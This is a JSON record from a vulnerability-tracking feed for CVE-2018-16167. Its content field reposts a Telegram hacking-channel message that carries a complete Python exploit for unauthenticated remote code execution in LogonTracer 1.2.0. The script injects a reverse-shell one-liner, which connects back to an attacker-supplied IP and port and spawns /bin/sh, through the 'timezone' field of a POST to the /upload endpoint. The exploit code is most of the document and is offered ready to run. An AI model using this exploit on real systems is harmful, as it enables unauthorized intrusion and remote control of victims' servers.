{"uuid": "de245a85-a6ec-465b-8154-d2d08ec06c40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16167", "type": "seen", "source": "https://t.me/hacking_Attack/10995", "content": "Exploit Collector\nLogonTracer 1.2.0 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png \nLogonTracer version 1.2.0 unauthenticated remote code execution exploit.\n\nMD5 | 08cb3834b77a44167523103fba1974df\n\nDownload\n# Exploit Title: LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated)\n# Date: 29/05/2021\n# Exploit Author: g0ldm45k\n# Vendor Homepage: https://www.jpcert.or.jp/\n# Software Link: https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.0\n# Version: 1.2.0 and earlier\n# Tested on: Version 1.2.0 on Debian GNU/Linux 8 (jessie)\n# CVE : CVE-2018-16167\n\nimport requests\nimport argparse\n\nparser = argparse.ArgumentParser(description='Send a payload to a LogonTracer 1.2.0 (or earlier) server.')\nparser.add_argument('aip', type=str, help='Attacker ip')\nparser.add_argument('aport', type=str, help='Attacker port')\nparser.add_argument('victimurl', type=str, help='Victim URL minus the path.')\n\nargs = parser.parse_args()\n\nATTACKER_IP = args.aip\nATTACKER_PORT = args.aport\nPAYLOAD = f\"python -c 'import pty,socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"{ATTACKER_IP}\\\",{ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\\"/bin/sh\\\")'\"\n\nVICTIM_URL = args.victimurl\nVICTIM_ENDPOINT = \"/upload\"\n\nDATA = {\n\"logtype\": \"XML\",\n\"timezone\": f\"1;{PAYLOAD};\",\n}\n\nprint(\"[!] Sending request... If your terminal hangs, you might have a shell!\")\nrequests.post(f\"{VICTIM_URL}{VICTIM_ENDPOINT}\", data=DATA)\nprint(\"[*] Done. Did you get what you wanted?\")\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:40.244905Z"}